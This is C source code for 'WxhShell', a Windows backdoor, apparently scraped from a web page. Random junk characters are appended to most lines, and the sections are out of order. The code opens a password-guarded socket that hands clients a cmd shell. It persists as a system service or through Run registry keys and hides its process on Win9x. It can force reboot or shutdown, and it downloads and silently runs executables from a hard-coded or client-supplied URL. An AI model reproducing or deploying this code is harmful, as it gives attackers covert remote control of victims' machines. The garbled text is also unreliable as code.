    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mSj[t   
    if(Boot(SHUTDOWN)) mr('zpkRq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (|[3/_!;v  
    else { nZ bg  
    closesocket(wsh); h[Iu_#HMa  
    ExitThread(0); 3LXpe8$lJ  
    } ~HYP:6f  
    break; Vbj?:29A  
    } PzV(e)~7  
  // 获取shell ?ft_  
  case 's': { ~zm/n,Epb  
    CmdShell(wsh); ]~K&mNo  
    closesocket(wsh); %eV`};9  
    ExitThread(0); !8L Ql}  
    break; < `r+l5  
  } KPR{5  
  // 退出 *z+\yfOO"  
  case 'x': { D{loX6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f%|S>(   
    CloseIt(wsh); }oN(nPxv9  
    break; T^nX+;:|  
    } +%<Jr<~W  
  // 离开 ;9I#>u  
  case 'q': { v PGuEfz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K[kmfXKu  
    closesocket(wsh); GDcV1$NA  
    WSACleanup(); )_Oc=/c|f  
    exit(1); D/:)rj14b  
    break; }cPV_^{  
        } {``}TsN  
  } ?+|tPjg $  
  } Bjo&  
6)3eB{$;  
  // 提示信息 b?Jm)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -$0S#/)Z  
} (mD]}{>  
  } SW; b E  
xw-q)u  
  return; &*y ve}su  
} }fCM_w  
K%gFD?{^q  
// shell模块句柄 b>7ts_b  
int CmdShell(SOCKET sock) |M?HdxPa  
{ UF%5/SiVX  
STARTUPINFO si; 3LxJ}>]TO  
ZeroMemory(&si,sizeof(si)); }O>Zu[8a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;VuB8cnL`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; os.x|R]_  
PROCESS_INFORMATION ProcessInfo; v8@dvT<  
char cmdline[]="cmd"; eLTNnz  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YiJu48J  
  return 0; Q&#:M>!|  
} sy`s$E d!  
+|H'I j$  
// 自身启动模式 ~ZNhU;%YW  
int StartFromService(void) y?JbJ  
{ &7W6IM   
typedef struct EsWszpRqb  
{ g.]'0)DMW  
  DWORD ExitStatus; MYPcH\K$h  
  DWORD PebBaseAddress; "pPNlV]UA^  
  DWORD AffinityMask; ye%F <:O7  
  DWORD BasePriority; e)xWQ=,C  
  ULONG UniqueProcessId; 2)A D'  
  ULONG InheritedFromUniqueProcessId; UZ!hk*PF  
}   PROCESS_BASIC_INFORMATION; VM!x)i9z  
mTPj@F>  
PROCNTQSIP NtQueryInformationProcess; CHU'FSq!  
**q/'K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %PS-nF7v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h+W^k+~(  
bS'r}  
  HANDLE             hProcess; )q^vitkjup  
  PROCESS_BASIC_INFORMATION pbi; ^pjez+  
2o$8CR;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (lnQ!4LK  
  if(NULL == hInst ) return 0; UBVb#FNF  
kYs|")isj  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s z\RmX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 16>uD;G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^%d{i'9?  
XZInu5(  
  if (!NtQueryInformationProcess) return 0; cP1jw%3P  
+i^s\c!3;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f3N:MH-c  
  if(!hProcess) return 0; 6a?y $+pr  
vVW=1(QWI#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o.5j@ dr  
Tpukz_F  
  CloseHandle(hProcess); yd72y'zi  
Wj:QC<5 v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a  98  
if(hProcess==NULL) return 0; ' XF`&3 i  
*[H+8/n_  
HMODULE hMod; XOCau.#  
char procName[255]; c-.>C)  
unsigned long cbNeeded; #H[ 4?4r  
XNU qZ-M :  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [&CM-` N  
a~* V  
  CloseHandle(hProcess); hwzUCh 5!  
g#4gGhI  
if(strstr(procName,"services")) return 1; // 以服务启动 +V@=G &Ou0  
~Z]vr6?$h  
  return 0; // 注册表启动 i .N1Cvp&  
} !_9$[Oq~  
h)rf6*hw  
// 主模块 i6d$/ yP"  
int StartWxhshell(LPSTR lpCmdLine) UTQKlwPa  
{ HD{`w1vcN  
  SOCKET wsl; k&/ )g3(N(  
BOOL val=TRUE; IDh`0/i]  
  int port=0; Zir`IQ$  
  struct sockaddr_in door; SR& mHI-f0  
 nvPE N  
  if(wscfg.ws_autoins) Install(); D-GU"^-9  
`#rfp 9w  
port=atoi(lpCmdLine); n@;x!c< +  
$3'+V_CZ3  
if(port<=0) port=wscfg.ws_port; L"iyjL<M  
~ ZL`E  
  WSADATA data; ak) -OL1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X~he36-+<  
XO#)i6}G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9|?Lz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~(j'a!#Vvk  
  door.sin_family = AF_INET; ,)$KS*f"*z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N1~V +_mM  
  door.sin_port = htons(port);  |{)xC=  
(nD$%/uK'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1fFb 7n~3  
closesocket(wsl); S;Z3v)E-f  
return 1; ,-3(^d\1F  
} yCIgxPv|7  
<j\;>3Q  
  if(listen(wsl,2) == INVALID_SOCKET) { .4<U*Xkt  
closesocket(wsl); WrNgV@P  
return 1; E`fssd~  
} r0deBRM  
  Wxhshell(wsl); aT!9W'uY  
  WSACleanup(); 50ew/fZj|  
aNC,ccm  
return 0; :bRR(sP  
Kk>qgi$  
} <cv1$ x ~P  
3DAGW"F  
// 以NT服务方式启动 6KCmswvE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `Kw"XGT  
{ 4E-A@FR  
DWORD   status = 0; *ZR@ z80i  
  DWORD   specificError = 0xfffffff; &}0wzcMg  
TucAs 0-bF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8Wx@[!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Om2X>/V%C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _P<lG[V  
  serviceStatus.dwWin32ExitCode     = 0; KWJgW{{v  
  serviceStatus.dwServiceSpecificExitCode = 0; C9U {^  
  serviceStatus.dwCheckPoint       = 0; +;*(a3Gp  
  serviceStatus.dwWaitHint       = 0; 18"VB50b}  
2nU NI U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iW@Vw{|i I  
  if (hServiceStatusHandle==0) return; Hu9R.[u  
lF8 dRIav  
status = GetLastError(); o,Zng4NY  
  if (status!=NO_ERROR) i!W8Q$V  
{ ]cqZ!4?_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z|]oM#Gt  
    serviceStatus.dwCheckPoint       = 0; !mxh]x<e  
    serviceStatus.dwWaitHint       = 0; o9LD6$  
    serviceStatus.dwWin32ExitCode     = status; 1O2h9I$bk  
    serviceStatus.dwServiceSpecificExitCode = specificError; F|Dz]ar  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]jVSsSv  
    return; bp>ps@zFq  
  } ; G59}d p~  
tOM3Gs~o6z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4@]xn  
  serviceStatus.dwCheckPoint       = 0; #* gU[9U~  
  serviceStatus.dwWaitHint       = 0; B~;LBgpp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @`;Y/',  
} 5uV"g5?w  
vvsNWA  
// 处理NT服务事件,比如:启动、停止 6G<Hi"I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Cre0e$ a  
{ RpXs3=9  
switch(fdwControl) nn)`eR&  
{ tM$0 >E  
case SERVICE_CONTROL_STOP: {?f^  
  serviceStatus.dwWin32ExitCode = 0; 6l\UNG7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lDJd#U'V  
  serviceStatus.dwCheckPoint   = 0; a^XTW7]r  
  serviceStatus.dwWaitHint     = 0; ;Co[y=Z  
  { wEfz2Eq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `,-hG  
  } " T a9  
  return;  LbV]JP  
case SERVICE_CONTROL_PAUSE: !UBDx$]^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c,+(FQ9  
  break; F%.9f Uo  
case SERVICE_CONTROL_CONTINUE: v!#`W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &Ev]x2YC  
  break; kh?#={]Z  
case SERVICE_CONTROL_INTERROGATE: ;V"yMWjc  
  break; T]nR=uK6LL  
}; f_4S>C$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hdf8U  
} A:.IBctsd  
YoF\ MT]W  
// 标准应用程序主函数 1>@]@ST[:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :%uyy5AZ  
{ fa4951_  
=> uVp  
// 获取操作系统版本 kg?T$}O  
OsIsNt=GetOsVer(); }r~v,KDb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ll(e,9.D  
 mF*?e/  
  // 从命令行安装 /h7>Z9T  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y*kh$E%<#  
qXU:A-IdIl  
  // 下载执行文件 Z9"{f)T  
if(wscfg.ws_downexe) { \2R`q*a+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4h;f>BG  
  WinExec(wscfg.ws_filenam,SW_HIDE); {V%%^Zhwy  
} Q+N7:o!;<b  
y#Mc4?  
if(!OsIsNt) { T3G/v)ufd  
// 如果时win9x,隐藏进程并且设置为注册表启动 j$|j8?  
HideProc(); qP;{3FSkAF  
StartWxhshell(lpCmdLine); ~Q_)>|R2  
} Pe$^Mo.q  
else 6`DwEs?Y{  
  if(StartFromService()) V`g\ja*Y  
  // 以服务方式启动 =M1a0i|d  
  StartServiceCtrlDispatcher(DispatchTable); zj9bSDVL(  
else I3G*+6V  
  // 普通方式启动 ~jp!"f  
  StartWxhshell(lpCmdLine); +H[}T ]  
s`Yu"s 8}4  
return 0; iJ`%yg,  
} qXrt0s[  
#JL&]Z+X6  
_'!N q  
L876$  
=========================================== $ ] W[y=  
LsJs Q h  
d`?U!?Si  
<OR.q  
{k_ PMl0G  
o%V @D'w  
" [!J @a  
Q? <-`7  
#include <stdio.h> ?qf:_G  
#include <string.h> =E [4H  
#include <windows.h> $@[dm)M  
#include <winsock2.h> J ?ztn  
#include <winsvc.h> DA+A >5/  
#include <urlmon.h> ZL4l (&"  
n0+g]|a AF  
#pragma comment (lib, "Ws2_32.lib") g[#k.CuP  
#pragma comment (lib, "urlmon.lib") 'DCKD4@C/  
}b_R5U$@@  
#define MAX_USER   100 // 最大客户端连接数 lfxuc7Rdla  
#define BUF_SOCK   200 // sock buffer Bmx(qE  
#define KEY_BUFF   255 // 输入 buffer C<[d  
w8 ?Pb$Fe  
#define REBOOT     0   // 重启 mP9cBLz  
#define SHUTDOWN   1   // 关机 j>$=SMc  
vF9*tK'   
#define DEF_PORT   5000 // 监听端口 n9]IBIthe  
<O \tC81  
#define REG_LEN     16   // 注册表键长度 3)6+1Yc  
#define SVC_LEN     80   // NT服务名长度 %^a]J"Ydi8  
L!bfh`  
// 从dll定义API Zz"I.$$[M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Rro?q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h]kn%?fpmB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z"6 2#VM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z $9@j2  
t[]['Iosd  
// wxhshell配置信息 `Mg8]H~  
struct WSCFG { Tg"' pO  
  int ws_port;         // 监听端口 ]LEoOdDN"C  
  char ws_passstr[REG_LEN]; // 口令 6uu^A9x  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^y&q5p jj  
  char ws_regname[REG_LEN]; // 注册表键名 Q=d.y&4%  
  char ws_svcname[REG_LEN]; // 服务名 FX%t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4=u+ozCG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 N@k3$+ls  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d>lt  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bH'S.RWp=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?r{TOj n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XOu+&wOu  
C:]/8l  
}; M:R8<.{  
P7's8KOoS  
// default Wxhshell configuration E)C.eW /  
struct WSCFG wscfg={DEF_PORT, ~'NX~<m  
    "xuhuanlingzhe", yOX&cZ[  
    1, O{PW  
    "Wxhshell", nAIH`L"X  
    "Wxhshell", 5JS ZLC  
            "WxhShell Service", xLA~1ZSVJw  
    "Wrsky Windows CmdShell Service", } sf YCz  
    "Please Input Your Password: ", )HEfU31IC  
  1, MQwIPjk8  
  "http://www.wrsky.com/wxhshell.exe", ^ Xm/  
  "Wxhshell.exe" JT4wb]kdV  
    }; JDkCUN5  
:~vxZ*a  
// 消息定义模块 "Owct(9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rVUUH!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0yn[L3x7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n%F-cw  
char *msg_ws_ext="\n\rExit."; Z+NF(d  
char *msg_ws_end="\n\rQuit."; #X#8ynt  
char *msg_ws_boot="\n\rReboot..."; T |37#*c  
char *msg_ws_poff="\n\rShutdown..."; (jMtN?&0H-  
char *msg_ws_down="\n\rSave to "; -M6L.gi)oJ  
St6aYK  
char *msg_ws_err="\n\rErr!"; C`dkD0_  
char *msg_ws_ok="\n\rOK!";  ( :  
B9YsA?hg  
char ExeFile[MAX_PATH];  BY3bpR  
int nUser = 0; {1jpLdCbV^  
HANDLE handles[MAX_USER]; q^5yk=2fq  
int OsIsNt; :d.1;st  
uaiz*Im  
SERVICE_STATUS       serviceStatus; +fM&su=wl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S"zk!2@C  
x5oOF7#5  
// 函数声明 a>U6Ag<  
int Install(void); ,"B?_d6  
int Uninstall(void); (4~X}:  
int DownloadFile(char *sURL, SOCKET wsh); 4AQ[igTDP  
int Boot(int flag); auRY|j  
void HideProc(void); /-Wuq`P/ T  
int GetOsVer(void); "l TZ|k^  
int Wxhshell(SOCKET wsl);  }<=3W5+  
void TalkWithClient(void *cs); W]_g4,T>  
int CmdShell(SOCKET sock); rOW;yJ[  
int StartFromService(void); _mXs4  
int StartWxhshell(LPSTR lpCmdLine); %4,xx'`  
lK*jhW?3:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fmFzW*,E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S.: 7k9  
6JSY56v  
// 数据结构和表定义 EJ`Q8uz  
SERVICE_TABLE_ENTRY DispatchTable[] = :/6()_>bO  
{ E4r.ky`#~  
{wscfg.ws_svcname, NTServiceMain}, I FsE!oDs4  
{NULL, NULL} ur6e&bTp  
}; #,&8&  
vs +QbI6>-  
// 自我安装 C,"=}z1P  
int Install(void) s O=4IBE  
{ @T ysXx  
  char svExeFile[MAX_PATH]; )\>r-g$  
  HKEY key; b0 &  
  strcpy(svExeFile,ExeFile); +Qs!Nhsq  
TiyUr [  
// 如果是win9x系统,修改注册表设为自启动 m2(E>raV6  
if(!OsIsNt) { DVh)w}v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <4c%Q)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pA.._8(t  
  RegCloseKey(key); qp>N^)>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -(9O6)Rs$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7Lg7ei2mN7  
  RegCloseKey(key); } Gr&w-v  
  return 0; n?:2.S.8  
    } ]v\^&7pW  
  } 1[SA15h  
} &cc9}V)M  
else { mw4JQ\  
)t%h[0{{  
// 如果是NT以上系统,安装为系统服务 RDJ+QOVKg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oxfF`L"  
if (schSCManager!=0) #dxvz^2V.3  
{ /;l[I=VI  
  SC_HANDLE schService = CreateService fagM7)x  
  ( #Ao !>qCE  
  schSCManager, DtI$9`~  
  wscfg.ws_svcname, `*aBRwvK~  
  wscfg.ws_svcdisp, Lc]1$  
  SERVICE_ALL_ACCESS, U; U08/y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g*y/j]  
  SERVICE_AUTO_START, z]=8eV\  
  SERVICE_ERROR_NORMAL, v L}T~_=3  
  svExeFile, 1`JB)9P  
  NULL, 3+(z_!Qh  
  NULL, ?YBaO,G9o  
  NULL, ]g,lRG  
  NULL, *~2cG;B"e  
  NULL Pu;yEh  
  ); L^FcS\r;  
  if (schService!=0) Ie@Jb{ x  
  { ;iU%Kt  
  CloseServiceHandle(schService); JoJukoy}F  
  CloseServiceHandle(schSCManager); g1{/ 5{XI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XA{F:%  
  strcat(svExeFile,wscfg.ws_svcname); m5*[t7@%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :Fe_,[FR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =K(JqSw+M  
  RegCloseKey(key); Yw)Fbt^  
  return 0; -bS)=L  
    } &RO7{,`  
  } AnMV <  
  CloseServiceHandle(schSCManager); S!h Xf|*0[  
} 0%<+J;'o  
} !E0!-UpY  
ag 8`O&+  
return 1; {eQWO.C{  
} $UvPo0{  
`/4:I  
// 自我卸载 uel{`T[S  
int Uninstall(void) J,5+47b1}R  
{ x[X`a  
  HKEY key; vHcqEV|P/n  
|m;L?)F<  
if(!OsIsNt) { m`}{V5;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xu\eXx6H  
  RegDeleteValue(key,wscfg.ws_regname); n]yEdL/1  
  RegCloseKey(key); ashar&'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x[i`S8D  
  RegDeleteValue(key,wscfg.ws_regname); ;:]\KJm}?  
  RegCloseKey(key); ?S tsH  
  return 0; H}ZQ?uK;  
  } }k7'"`#?"  
} ->gZ)?Fqy  
} KX4],B5 +  
else { 5iM[sg[y9  
%8r/oS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hXB|g[zT  
if (schSCManager!=0) .L EY=j!-s  
{ 6F|j(LB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y1pu R7  
  if (schService!=0) qP1FJ89H  
  { Vn|1v4U!  
  if(DeleteService(schService)!=0) { ~h)&&' a  
  CloseServiceHandle(schService); Vrkf(E3_V  
  CloseServiceHandle(schSCManager); PsnGXcj  
  return 0; ke%pZ 7{u  
  } :O-1rD  
  CloseServiceHandle(schService); Hd &{d+B  
  } C6  "  
  CloseServiceHandle(schSCManager); ,6,]#R :J  
} m3.sVI0I  
} (sTuG}  
t ls60h  
return 1; 1m@^E:w  
} {whvTN1#dh  
,}SCa'PB  
// 从指定url下载文件 eQDX:b  
int DownloadFile(char *sURL, SOCKET wsh) 3EK9,:<Cf  
{  L,LNv  
  HRESULT hr; M;.ZM<Ga  
char seps[]= "/"; W?Ww2Lo%Y  
char *token; >:1P/U  
char *file; szmmu*F,U:  
char myURL[MAX_PATH]; dl~|Izm  
char myFILE[MAX_PATH]; se9>.}zZN  
j !H^-d}q  
strcpy(myURL,sURL); S\#17.=  
  token=strtok(myURL,seps); bC6oqF'#  
  while(token!=NULL) 9`B$V##-L  
  { SA"8!soY3  
    file=token; J'T=q/  
  token=strtok(NULL,seps); ;zH HIdQ>-  
  } _NZ@4+aW  
`{Tk@A_yd  
GetCurrentDirectory(MAX_PATH,myFILE); oBQm05x"  
strcat(myFILE, "\\"); ZH 6\><My  
strcat(myFILE, file); l.+yn91%>  
  send(wsh,myFILE,strlen(myFILE),0); 3V<&|  
send(wsh,"...",3,0); >I"V],d!6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )> a B  
  if(hr==S_OK) 5&!c7$K0  
return 0; {XCf-{a]~  
else gm)@c2?.  
return 1; G }nO@  
t18$x "\4k  
} 9Ul(GI(  
yxWO [ Z  
// 系统电源模块 ec3<%+0f  
int Boot(int flag) ;2xO`[#  
{ 9jir* UI  
  HANDLE hToken; Af(WV>'  
  TOKEN_PRIVILEGES tkp; 5*-3? <)e  
7^6uG6  
  if(OsIsNt) { +9;2xya2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fS&6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X[yNFW}S2W  
    tkp.PrivilegeCount = 1; na+d;h*~y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9i q""  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #]Y>KX2HG  
if(flag==REBOOT) { r' Z3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /RnTQ4   
  return 0; #FxPj-3(ix  
} }hpm O-  
else { yV_wDeAz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A!i q->+  
  return 0; kFLB> j97  
} 9ooY?J  
  } IH *s8tPc  
  else { @R|'X  
if(flag==REBOOT) { |I;$M;'r&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) muON> ^MbC  
  return 0; <@v ]H@ E  
} f. }c7  
else { C#0Qd%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5VW|fI  
  return 0; q8P.,%   
} 7V7zGx+Z7  
} 5s{j = .O  
;]2s,za)qs  
return 1; SkQswH  
} EbNd=Z'J  
pc]J[ S?P  
// win9x进程隐藏模块  XRN+`J  
void HideProc(void) iUk-'   
{ Wi. 5Y{  
t<iEj"5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X;F8_+Np  
  if ( hKernel != NULL ) KJn!Ap  
  { 08bJCH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R"v 3!P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nk"NmIf  
    FreeLibrary(hKernel); V N{NA+I  
  } h&&6r\4/|  
*jq7X  
return; "_UdBG  
} OHr Y(I6  
QF2q^[>w6  
// 获取操作系统版本 CT a#Q,  
int GetOsVer(void) .wA+S8}S  
{ t&q N: J  
  OSVERSIONINFO winfo; x\e;+ubt}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J5Z%ImiT^O  
  GetVersionEx(&winfo); ^ <`(lyph  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Jb_1LZ) ]  
  return 1; `O?T.p)   
  else @&F@I3`{  
  return 0; {=2DqkTD  
} G.Vu KsP]  
f_^1J  
// 客户端句柄模块 BimjQ;jtI  
int Wxhshell(SOCKET wsl) a 3SlxsWW  
{ F'}'(t+oAm  
  SOCKET wsh; 7R.Q Ql  
  struct sockaddr_in client; EI~"L$?  
  DWORD myID; .jw}JJ  
X r63?N  
  while(nUser<MAX_USER) BAj-akc f  
{ #hfuH=&oh  
  int nSize=sizeof(client); POI.]1i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6DTTV66  
  if(wsh==INVALID_SOCKET) return 1; %q ;jVj[  
g:l.MJT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [&[^G25  
if(handles[nUser]==0) A5:qKaAq  
  closesocket(wsh); BaF!O5M  
else 620%Z*   
  nUser++; IzOYduJ.  
  } &GTI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3f Xv4R;!:  
\`V$ 'B{.  
  return 0; '7Nr8D4L  
} Y/<lWbj*A  
'+>fFM,*B  
// 关闭 socket F7L&=K$2y  
void CloseIt(SOCKET wsh) d6{Gt"  
{ f*{ YFg?*&  
closesocket(wsh); /I5X"x  
nUser--; :AdDLpk3j  
ExitThread(0); -~[9U,  
} /^{BUo  
Jf)bHjC_V  
// 客户端请求句柄 JCcZuwu[  
void TalkWithClient(void *cs)  9fnA  
{ YYEJph@06q  
%=AxJp!a  
  SOCKET wsh=(SOCKET)cs; hRI"y":zD  
  char pwd[SVC_LEN]; >7`<!YJkK  
  char cmd[KEY_BUFF]; =o}"jVE  
char chr[1]; XIo55*  
int i,j; enNiI$H]`_  
93qwH%  
  while (nUser < MAX_USER) { `!:q;i]}  
B&+`)E{KB  
if(wscfg.ws_passstr) { Yb i%od&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OJN2z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5 8-e^.  
  //ZeroMemory(pwd,KEY_BUFF); f %lD08Sl  
      i=0; Sd/?&  
  while(i<SVC_LEN) { EpS(o>'  
jc[_I&Oc_  
  // 设置超时 8[CB>-9  
  fd_set FdRead;  |{* }|  
  struct timeval TimeOut; xqXDxJlns  
  FD_ZERO(&FdRead); t>GfM  
  FD_SET(wsh,&FdRead); (bOpV>\Q7  
  TimeOut.tv_sec=8; Tu{&v'!j6  
  TimeOut.tv_usec=0; :WI.LKlo~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pMg3fUIM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zsU=sTsL  
?&LZB}1R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s](aNe2j  
  pwd=chr[0]; _zt1 9%Wg  
  if(chr[0]==0xd || chr[0]==0xa) { - K%,^6  
  pwd=0; k%wn0Erd  
  break; Xtz-\v#0o'  
  } KTvzOI8  
  i++; &mj6rIz  
    } hUQ,z7-  
Mypc3  
  // 如果是非法用户,关闭 socket &R|/t :DN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fP tm0.r  
} (>6*#9#p  
+x9cT G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {e|*01hE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .6O"| Mqb  
v5;I]?72l~  
while(1) { $@d9<83=  
wiaX&-c]8  
  ZeroMemory(cmd,KEY_BUFF); IM$2VlC  
w{~+EolK  
      // 自动支持客户端 telnet标准   ms($9Lv/  
  j=0; ~^u16z,  
  while(j<KEY_BUFF) { Wk:hFHs3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1Gt/Tq$_b  
  cmd[j]=chr[0]; <PPNhf8  
  if(chr[0]==0xa || chr[0]==0xd) { I/VxZ8T  
  cmd[j]=0; D'Z|}(d&  
  break; l no vykR  
  } ;U1UFqZ`  
  j++; kyAXRwzI  
    } O3N0YGhJ  
I$Qs;- (  
  // 下载文件 5qg2Zc~  
  if(strstr(cmd,"http://")) { +jg9$e"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); JOjoiA  
  if(DownloadFile(cmd,wsh)) dC=)^(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); uj%skOD6Z  
  else j-CnT)W<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ngr/QL]Q  
  } ] 2DH;  
